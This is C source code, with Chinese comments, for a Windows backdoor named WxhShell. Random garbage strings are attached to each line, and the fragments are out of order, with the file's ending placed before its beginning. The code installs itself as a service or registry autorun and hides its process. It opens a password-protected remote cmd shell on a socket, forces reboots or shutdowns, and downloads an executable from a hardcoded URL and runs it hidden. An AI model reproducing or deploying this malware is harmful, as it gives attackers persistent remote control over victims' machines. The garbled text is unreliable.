    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _uIS[%4g  
    if(Boot(SHUTDOWN)) FZi@h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sm'Tz&!  
    else { CRb*sfKDL  
    closesocket(wsh); mnpk9x}m  
    ExitThread(0); X-["{  
    } $bTtD<a  
    break; [IYVrT&C'  
    } c1f"z1Z  
  // 获取shell 0 +=sBk (  
  case 's': { NqD]p{>Y  
    CmdShell(wsh); $k~TVm Yex  
    closesocket(wsh); CF bNv9GZj  
    ExitThread(0); c -+NWC  
    break; 'z$N{p40m  
  } 7+HK_wNi  
  // 退出 $TIeeTB  
  case 'x': { v=llg ^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @v)Z>xv  
    CloseIt(wsh); x UdF.c  
    break;  YSD G!  
    } y7HFmGM  
  // 离开 x%mRDm~-  
  case 'q': { ~gI%lORqN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NEq_!!/sF  
    closesocket(wsh); h^3gYL7O6  
    WSACleanup(); '<Zm>L&  
    exit(1); h:4(Gm;  
    break; }* :3]  
        } '/>Mr!H#  
  } Wiis<^)  
  } +CSpL2@  
o~LJ+m6-)  
  // 提示信息 ]_s3<&R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]1 f^ SxSI  
} f+Y4~k  
  } 8C3k: D[  
tMl y*E  
  return; rq%]CsRY5  
} zhn ?;Fi  
/oPW0of  
// shell模块句柄 w#.3na  
int CmdShell(SOCKET sock) "to!&@I| 4  
{ {nmG/dn {  
STARTUPINFO si; # -'A =j  
ZeroMemory(&si,sizeof(si)); MLDzWZ~}ef  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =KPmZ,/w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w"R<8e=  
PROCESS_INFORMATION ProcessInfo; %-n) L  
char cmdline[]="cmd"; Xh"9Bcjf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o#qdgZ  
  return 0; <F9-$_m  
} ? }HK!feU  
L)'G_)Sl  
// 自身启动模式 !JCs'?A  
int StartFromService(void) Wb}-H-O  
{ L( 6b2{"  
typedef struct !f~a3 {;j  
{ )qxt<  
  DWORD ExitStatus; _U~R   
  DWORD PebBaseAddress; %2 r ~  
  DWORD AffinityMask; '?rR>$s  
  DWORD BasePriority; tc~gn!"  
  ULONG UniqueProcessId; RC_Pj)  
  ULONG InheritedFromUniqueProcessId; SAm%$v z%M  
}   PROCESS_BASIC_INFORMATION; T<]{:\*n  
lNe4e6  
PROCNTQSIP NtQueryInformationProcess; wv\X  
E1QJ^]MG.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4=,J@N-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "VaWZ*  
=4_}.  
  HANDLE             hProcess; R_EU|a  
  PROCESS_BASIC_INFORMATION pbi; gPMR,TU  
88?bUA3]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z`-$b~0  
  if(NULL == hInst ) return 0; ?1=.scmgDG  
k{vj,#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i c{I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :w8{BIUN)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S m(*<H  
m H:Un{,  
  if (!NtQueryInformationProcess) return 0; T!jh`;D+  
 u$?!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *BKD5EwS  
  if(!hProcess) return 0; {K|?i9K  
N'b GL%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1H-Wk  
hDXTC_^s  
  CloseHandle(hProcess);  2s}S9  
bm#5bhX\|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R}oN8  
if(hProcess==NULL) return 0; ILuQ.VhBVN  
(;fJXgj.  
HMODULE hMod; 7-S?RU]g  
char procName[255]; dDS{XR  
unsigned long cbNeeded; Xqf\}p n  
ANm@$xO*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u|<?m A!  
tw4,gW  
  CloseHandle(hProcess); 9a_P 9s3w  
Yc#Uu8f-  
if(strstr(procName,"services")) return 1; // 以服务启动 9R=avfI  
ZA=J`- >k  
  return 0; // 注册表启动 h2Q'5G  
} :hICe+2ca  
[Qs`@u<%  
// 主模块 KS_+R@3Z  
int StartWxhshell(LPSTR lpCmdLine) &N.pW=%,N  
{ ;0eVE  
  SOCKET wsl; ~gX1n9_n  
BOOL val=TRUE; uyX % &r  
  int port=0; ?8 }pZ_j  
  struct sockaddr_in door; aR2N,<Cp5  
#IH9S5B [  
  if(wscfg.ws_autoins) Install(); NDRD PD  
|lhnCShw  
port=atoi(lpCmdLine); (MXy\b<  
*<\ `"C;  
if(port<=0) port=wscfg.ws_port; 89 d%P J0  
QGNKQ`~  
  WSADATA data; . vHHw@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rQv5uoD  
jt oS{B,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [P}Bq6;p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RxP~%oADw  
  door.sin_family = AF_INET; 4 QQt 0u0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vU%o5y:  
  door.sin_port = htons(port); d- ZUuw  
+"84.PZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 45biy(qa  
closesocket(wsl); X1w11Z7o  
return 1; $z!G%PO1%  
} H:~bWd'iz  
8cO?VH,nk  
  if(listen(wsl,2) == INVALID_SOCKET) { 1e\cJ{B  
closesocket(wsl); [>NMuwtG  
return 1; AYf}=t|  
} q%,86A>  
  Wxhshell(wsl); 9swHa  
  WSACleanup(); NFVu~t  
mX|M]^_,z  
return 0; 6zM:p/  
:[@rA;L  
} ]2u   
tE0{ae  
// 以NT服务方式启动 @*rMMy 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0^*,E/}P&  
{ ;[o:VuTs  
DWORD   status = 0; K2*rqg  
  DWORD   specificError = 0xfffffff; IWYQ67Yj   
k*_Gg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'n h^;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `NhG|g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tHzgZo Bz  
  serviceStatus.dwWin32ExitCode     = 0; pbKmFweq  
  serviceStatus.dwServiceSpecificExitCode = 0; v,n 8$,  
  serviceStatus.dwCheckPoint       = 0; :G6CWE  
  serviceStatus.dwWaitHint       = 0; Fepsa;\sU  
ksq4t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n\;;T1rM  
  if (hServiceStatusHandle==0) return; pYcs4f!?p  
#j7&2L  
status = GetLastError(); Zf>:h   
  if (status!=NO_ERROR) [%^0L~:  
{ QE/kR!r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /- Gq`9Z  
    serviceStatus.dwCheckPoint       = 0; ]$#bNt/p  
    serviceStatus.dwWaitHint       = 0; ,~7~ S"  
    serviceStatus.dwWin32ExitCode     = status; M*k,M=sX  
    serviceStatus.dwServiceSpecificExitCode = specificError; VMABj\yG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uic  
    return; aMu6{u6  
  } gjsks(x  
7Td 9mkO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S\ak(<X  
  serviceStatus.dwCheckPoint       = 0; tRPIvq/  
  serviceStatus.dwWaitHint       = 0; sm"Rp~[i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HG /fp<[   
} -pJ\_u/&%`  
TgJ+:^+0  
// 处理NT服务事件,比如:启动、停止 , $!F,c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M2V`|19Q  
{ gIO_mJ3 u  
switch(fdwControl) xw{K,; WeO  
{ NEIF1( :  
case SERVICE_CONTROL_STOP: @=G [mc\  
  serviceStatus.dwWin32ExitCode = 0; (<B%Gy@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qu#[PDhb  
  serviceStatus.dwCheckPoint   = 0; WS6Qp`c )e  
  serviceStatus.dwWaitHint     = 0; 0]f/5jvLj  
  { 8'E7Uj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K 91O$'J  
  } Y*b$^C%2  
  return; X\BFvSv8C  
case SERVICE_CONTROL_PAUSE: nKd'5f1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Ao _c x  
  break; ?6"U('y>n  
case SERVICE_CONTROL_CONTINUE: '-(Z.e~e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E4=D$hfq`  
  break; !pj&h0CR  
case SERVICE_CONTROL_INTERROGATE: BNk>D|D;  
  break; S['rTuk  
}; aAP86MHO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s5v}S'uO{  
} x [vb i  
n?c[ E+i;  
// 标准应用程序主函数 #"oLz"{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i<$?rB!i<1  
{ 3w>1R>7  
C/ VHzV%q  
// 获取操作系统版本 +9]t]Vrw  
OsIsNt=GetOsVer(); i{9.bpp/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N G vb]  
3rMi:*?  
  // 从命令行安装 \0Xq&CG=E  
  if(strpbrk(lpCmdLine,"iI")) Install(); #'@@P6o5  
2f{p$YIt  
  // 下载执行文件 ]w,|WZm  
if(wscfg.ws_downexe) { vH}VieU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7}NvO"u  
  WinExec(wscfg.ws_filenam,SW_HIDE); S@[NKY  
} 8B+C[Q:+'  
uEhPO  
if(!OsIsNt) { F<iV;+  
// 如果时win9x,隐藏进程并且设置为注册表启动 9s!R_R&W.  
HideProc(); ;d fIzi  
StartWxhshell(lpCmdLine); \PZ;y=]p}  
} e34g=]"  
else K}N~KDW R|  
  if(StartFromService()) d" 0&=/  
  // 以服务方式启动 Ya~Th)'>q  
  StartServiceCtrlDispatcher(DispatchTable); ;y7+Q  
else %p7onwKq0  
  // 普通方式启动 Ik, N/[  
  StartWxhshell(lpCmdLine); 9W-" mD;  
i"+TKo-  
return 0; ?N9Z;_&^.  
} B^]Gv7-  
'xG{q+jj'  
Pxkh;:agD  
6*EIhIQ(  
=========================================== w`< {   
@+ T33X)h%  
O9<oq  
sSk qU  
?Vh#Gr  
}Q9+krrow  
" 7wY0JS$fz  
rmC7!^/  
#include <stdio.h> }4piZ ch  
#include <string.h> eu]qgtg~U  
#include <windows.h> a6A~,68/V  
#include <winsock2.h> 3&"uf9d  
#include <winsvc.h> 9:3`LY3wW  
#include <urlmon.h> 7/KK}\NE  
f`rI]v|@  
#pragma comment (lib, "Ws2_32.lib") cM,g, E}  
#pragma comment (lib, "urlmon.lib")  `2\:b^h  
4M0p:Ey '  
#define MAX_USER   100 // 最大客户端连接数 ?MfwRWY  
#define BUF_SOCK   200 // sock buffer ![4_K':=  
#define KEY_BUFF   255 // 输入 buffer OaT]2o  
.=yv m  
#define REBOOT     0   // 重启 X>pCkGE  
#define SHUTDOWN   1   // 关机 "1>w\21  
'n"we# [  
#define DEF_PORT   5000 // 监听端口 =j20A6gND  
{~#PM>f  
#define REG_LEN     16   // 注册表键长度 hpbi!g  
#define SVC_LEN     80   // NT服务名长度 6wbH{}\ll  
3A =\Mb  
// 从dll定义API .h/2-pQ>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S !lrnH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ap'6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A@Zqh<,Ud  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M+j*5wNy  
8N |K   
// wxhshell配置信息 GpO*As_2  
struct WSCFG { n _x+xVi%  
  int ws_port;         // 监听端口 MO| Dwuaf  
  char ws_passstr[REG_LEN]; // 口令 p)z#%BY56  
  int ws_autoins;       // 安装标记, 1=yes 0=no WlW%z(RC  
  char ws_regname[REG_LEN]; // 注册表键名 7 _"G@h  
  char ws_svcname[REG_LEN]; // 服务名 )_>'D4l ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b>#=7;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {: \LFB_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Chad}zU`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C7AD1rl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {61Y;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  8 }AWU  
=HV${+K=~  
}; fo~*Bp()-E  
M^ e}w!U  
// default Wxhshell configuration ^qVBgBPb  
struct WSCFG wscfg={DEF_PORT, /C <p^#g9.  
    "xuhuanlingzhe", &U`ug"/k  
    1, WWOt>C~zV  
    "Wxhshell", KW ZEi?  
    "Wxhshell", jS8B:>  
            "WxhShell Service", [#G*GAa6*  
    "Wrsky Windows CmdShell Service", ^wwS`vPb  
    "Please Input Your Password: ", d0Ubt  
  1, M} ri>o  
  "http://www.wrsky.com/wxhshell.exe", d.Ccc/1-  
  "Wxhshell.exe" Wi,)a{  
    }; G^.tAO5:f  
s +qodb+  
// 消息定义模块 0r i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8<ev5af  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SXE@\Afj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8X278^ #  
char *msg_ws_ext="\n\rExit."; ~4twI*f  
char *msg_ws_end="\n\rQuit."; =[Z3]#h  
char *msg_ws_boot="\n\rReboot..."; G;[O~N3n.  
char *msg_ws_poff="\n\rShutdown..."; ~6O~Fth  
char *msg_ws_down="\n\rSave to "; 9KJ}A i  
!g)rp`?  
char *msg_ws_err="\n\rErr!"; , )TnIByM  
char *msg_ws_ok="\n\rOK!"; %]4=D)Om  
2 J3/Eu  
char ExeFile[MAX_PATH]; |QR9#Iv  
int nUser = 0; ]Wjcr2Wq  
HANDLE handles[MAX_USER]; > sQ&5-i  
int OsIsNt; L.JL4;U P  
\D]9:BNJ  
SERVICE_STATUS       serviceStatus; vSv1FZu*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >Y+m54EE  
gNDMJ^`  
// 函数声明 t. (6tL]  
int Install(void); =8rNOi  
int Uninstall(void); yOAC<<Tzus  
int DownloadFile(char *sURL, SOCKET wsh); Mc(|+S@w'  
int Boot(int flag); PRFl%M.H`  
void HideProc(void); wuk\__f4  
int GetOsVer(void); z!.cc6R  
int Wxhshell(SOCKET wsl); @6aJh< c  
void TalkWithClient(void *cs); <$a-.C5  
int CmdShell(SOCKET sock); Y}Dk>IG  
int StartFromService(void); ?4aW^l6/  
int StartWxhshell(LPSTR lpCmdLine); %q9"2] cR  
-yBj7F|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h^1 !8oOYD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \I<R.4 9oW  
"Y4glomR[  
// 数据结构和表定义 Z#^|h0  
SERVICE_TABLE_ENTRY DispatchTable[] = !;d>}iE   
{ &#gh :5  
{wscfg.ws_svcname, NTServiceMain}, JR&yaOws  
{NULL, NULL} 5v`lCu]  
}; :)T*:51{#  
D:z_FNN  
// 自我安装 R?tjobk!  
int Install(void) + 660/ e8N  
{ UlNV%34"  
  char svExeFile[MAX_PATH]; m I:^lp  
  HKEY key; R7!v=X]i  
  strcpy(svExeFile,ExeFile); M`@ASL:u  
Xh3b=i|K  
// 如果是win9x系统,修改注册表设为自启动 z}7}D !  
if(!OsIsNt) { CPeu="[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NpKyrXDJv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dD~H ft  
  RegCloseKey(key); WU@_aw[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c5 AaUza  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q"c/]Sk)  
  RegCloseKey(key); \i}-Y[Dg  
  return 0; N[fwd=$\#  
    } xirq$sEl  
  } L<B)BEE.  
} ^Pu:&:ki  
else { W2zG"Q  
,`k6 @4  
// 如果是NT以上系统,安装为系统服务 /(u? k%Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VZ">vIRyi|  
if (schSCManager!=0) ]l+<-  
{ n\<7`,  
  SC_HANDLE schService = CreateService ,S<) )  
  ( s16, *;Z  
  schSCManager, Qnt9x,1m_  
  wscfg.ws_svcname, #Q-#7|0&  
  wscfg.ws_svcdisp, \Y8 sIs  
  SERVICE_ALL_ACCESS, ]>*VEe}hJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , piuM#+Y\'S  
  SERVICE_AUTO_START, 'O.f}m SS  
  SERVICE_ERROR_NORMAL, & BY\h:  
  svExeFile, %4V$')rek  
  NULL, kt\,$.v8  
  NULL, EA9.?F  
  NULL, jENC1T(  
  NULL, T}29(xz-(h  
  NULL ?E}gm>  
  ); )UTjP/\gN  
  if (schService!=0) Ht/#d6cQ  
  { aSxDfYN=R  
  CloseServiceHandle(schService); #a2Z.a<V  
  CloseServiceHandle(schSCManager); 3hje  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?,+&NX3m  
  strcat(svExeFile,wscfg.ws_svcname); 'jO8C2Th%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l]Xbd{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B4*y-Q.*  
  RegCloseKey(key); D]rYg'  
  return 0; bAN>\zG+  
    } AkdO:hVtG  
  } C+jXH)|iq  
  CloseServiceHandle(schSCManager); a^E>LJL  
} Sl'$w4s   
} ~-uf%=  
nHQ *#&$  
return 1; .XRe:\8mc  
} i_l{#*t  
F?6Q(mRl  
// 自我卸载 (NDC9Lls  
int Uninstall(void) J7aYi]vI  
{ %g89eaEZ  
  HKEY key; }bdoJ5  
{D :WXvI  
if(!OsIsNt) { UL#:!J/34  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Li0+%ijM  
  RegDeleteValue(key,wscfg.ws_regname); #CAZ}];Qx  
  RegCloseKey(key); v&7<f$5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #w\x-i|  
  RegDeleteValue(key,wscfg.ws_regname); f\Hw Y)^>  
  RegCloseKey(key); pR=R{=}wV  
  return 0; !b4AeiL>w  
  } S')DAx  
} :hW(2=%  
} tX@y ]"  
else { _T~&kwe  
MU2kA&LH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PYs0w6o  
if (schSCManager!=0) 0dS(g&ZR  
{ ?m7i7Dz   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T /IX(b'<  
  if (schService!=0) H"k\(SPVS  
  { 4g}r+!T  
  if(DeleteService(schService)!=0) { 92.Rjz;=9?  
  CloseServiceHandle(schService); eT5IL(mH  
  CloseServiceHandle(schSCManager); H\E%.QIx  
  return 0; ?"<m{,yQI  
  } *zDDi(@vtK  
  CloseServiceHandle(schService); /-m)  
  } -MsL>F.]  
  CloseServiceHandle(schSCManager); FwHqID_!:l  
} "lC>_A  
} "Ms{c=XPK  
?u".*!%  
return 1; ;;XY&J  
} bwP@}(K  
[cZ/)tm  
// 从指定url下载文件 OpU9:^ r  
int DownloadFile(char *sURL, SOCKET wsh) s'l|Ii  
{ \w1',"l`  
  HRESULT hr; ?OoI6 3&  
char seps[]= "/"; Z)=S>06X Q  
char *token; u*uHdV5  
char *file; dn?'06TD  
char myURL[MAX_PATH]; a.JjbFL  
char myFILE[MAX_PATH]; |22vNt_  
V EsM  
strcpy(myURL,sURL); t l7:L>  
  token=strtok(myURL,seps); ^;( dF<?'r  
  while(token!=NULL) 4b`Fi@J\  
  { "AKr;|m  
    file=token; %hZX XpuO  
  token=strtok(NULL,seps); k q?:<!z  
  } G/fBeK$.  
uV@' 898%5  
GetCurrentDirectory(MAX_PATH,myFILE); >=:mtcph  
strcat(myFILE, "\\"); M6qNh`+HO  
strcat(myFILE, file); G,^ ?qbHg  
  send(wsh,myFILE,strlen(myFILE),0); m^m=/'<+  
send(wsh,"...",3,0); *icaKy3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q _K@KB  
  if(hr==S_OK) QJiH^KY6  
return 0; x5pu+-h  
else F$1{w"&  
return 1; c(FGW7L<  
-r_\=<(  
} :"Tkl$@,  
1=sL[I7<  
// 系统电源模块 @|">j#0  
int Boot(int flag) KSEKoHJo  
{ }U5$~, *p  
  HANDLE hToken; QHUFS{G ]  
  TOKEN_PRIVILEGES tkp; 3&{6+A  
'W54 T  
  if(OsIsNt) { F`(;@LO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "cly99t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {%^4%Eco  
    tkp.PrivilegeCount = 1; !;[cJbqnh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |JWYsqJ0U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n c~JAT# '  
if(flag==REBOOT) { :AqtPV'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *&_cp]3-WF  
  return 0; 4^nHq 4_  
} B1E:P`t  
else { /n>vPJvz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G973n  
  return 0; *14:^neoI  
} #D JZ42  
  } T<Qa`|5 >  
  else { v''J@F7  
if(flag==REBOOT) { B~qo^ppVU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i!3*)-a\~`  
  return 0; oAB:H \  
} `nEqw/I  
else { r)Zk-!1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ./0wt+  
  return 0; AS~!YR  
} %{:pBt:Z  
} h <$%y(lP  
&sBD0R(a  
return 1; opN4@a7l  
} QLHEzEvf{/  
<n~.X<6V'  
// win9x进程隐藏模块 P0hr=/h4  
void HideProc(void) @W$ha y  
{ ~7g$T Ae{  
88[u^aC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q!=`|X|:  
  if ( hKernel != NULL ) EK0~ 3HSZ  
  { V\r{6-%XiW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _:5t~29  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r%X M`;bQX  
    FreeLibrary(hKernel); W7_m,{q  
  } VnB HQ.C  
;XjXv'  
return; _!Tjb^  
} <Uf`'X\e6  
Cd]A1<6s  
// 获取操作系统版本 a&)!zhVP  
int GetOsVer(void) P(Zj}tGN  
{ 8==M{M/eM  
  OSVERSIONINFO winfo; k W 8>VnW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2P@6Qe ?  
  GetVersionEx(&winfo); Fi;OZ>;a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ru`U/6 n  
  return 1; 3#]IIj`\  
  else >m <T+{`  
  return 0; E?KPez  
} }fo_"bs@  
B <qsa QG  
// 客户端句柄模块 L{)t(H>O  
int Wxhshell(SOCKET wsl) 1x\k:2U  
{ 2g?q4e,  
  SOCKET wsh; qR?}i,_  
  struct sockaddr_in client; L,nb<  
  DWORD myID; =Bm|9A1  
jA^Dk$  
  while(nUser<MAX_USER) IqsUtWSp  
{ '!?t+L%gO  
  int nSize=sizeof(client); 59W~bWHCP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t# y,9>6  
  if(wsh==INVALID_SOCKET) return 1;  6Bcr.`  
}oSgx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N$C+le  
if(handles[nUser]==0) h#Z,ud_  
  closesocket(wsh); }m5()@Q}a  
else Q{'4,J-w  
  nUser++; *vIP\NL?H  
  } K[/L!.Ag  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :?FHqfN?_  
W ;+()vC  
  return 0; /]-yZ0hX0O  
} :Mh\;e  
/cUu]#h  
// 关闭 socket _FcTY5."S  
void CloseIt(SOCKET wsh) UHU ,zgM  
{ aot2F60J,  
closesocket(wsh); xaoR\H  
nUser--; (&r` l&0  
ExitThread(0); [UC_  
} W(4$.uZ)  
g.%} +5  
// 客户端请求句柄 s3Zt)xQ3  
void TalkWithClient(void *cs) v#<{Y' K  
{ xVX:kDX  
x{K"z4xbI  
  SOCKET wsh=(SOCKET)cs; dtfOFag4_  
  char pwd[SVC_LEN]; IO=$+c  
  char cmd[KEY_BUFF]; -Eq[J k  
char chr[1]; `#8kJt  
int i,j; l Ib d9F  
!]D`|HoW  
  while (nUser < MAX_USER) { |pG0 .p4  
%l a1-r~  
if(wscfg.ws_passstr) { c?}G;$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w{2CV\^>5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %0/qb0N&  
  //ZeroMemory(pwd,KEY_BUFF); ^?sP[;8S!  
      i=0; Q 3^h  
  while(i<SVC_LEN) { S^p^) fAmF  
$@] xi  
  // 设置超时 ZnzO]  
  fd_set FdRead; Kz/,V6H:  
  struct timeval TimeOut; S^==$TT  
  FD_ZERO(&FdRead); mf{M-(6'  
  FD_SET(wsh,&FdRead); ='4)E6ea?  
  TimeOut.tv_sec=8; d6JW"  
  TimeOut.tv_usec=0; qz3 Z'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); chKEGosbF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "p|.[d  
UA2KY}pz5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5~jz| T}s  
  pwd=chr[0]; f8N* [by  
  if(chr[0]==0xd || chr[0]==0xa) { "M /Cl|z  
  pwd=0; n=F rv*"Z  
  break; Mlo,F1'?>  
  } 5G(dvM-n  
  i++; Yo' Y-h#  
    } p=E#!cn3  
P2aFn=f  
  // 如果是非法用户,关闭 socket 2Vf242z_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @n.n[zb\|  
} i|AWaG)  
p'%S{v@5((  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -LUZ7,!/>o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i '*!c  
n^hkH1vY  
while(1) { >1Hv c7DP  
1i~q~ O,  
  ZeroMemory(cmd,KEY_BUFF); Z}>F V~4  
_(8#  
      // 自动支持客户端 telnet标准   Yk?q\1  
  j=0; _Z9 d.-  
  while(j<KEY_BUFF) { .s,04xW\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gt(p%~  
  cmd[j]=chr[0]; Do\j_  
  if(chr[0]==0xa || chr[0]==0xd) { QKq4kAaJ!  
  cmd[j]=0; |%ZJN{!R  
  break; :3D6OBkB  
  } &QW&K  
  j++; _6r[msH"  
    } 9s[   
0!ZaR 6  
  // 下载文件 &p_iAMn:9  
  if(strstr(cmd,"http://")) { n^l*oEl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6m(? (6+;K  
  if(DownloadFile(cmd,wsh)) _,aFQ^]'9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!IA;i  
  else ob2_=hQnC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4u%AZ<-C}m  
  } kp<Au)u  
  else { -qaO$M^Q  
0#8, (6  
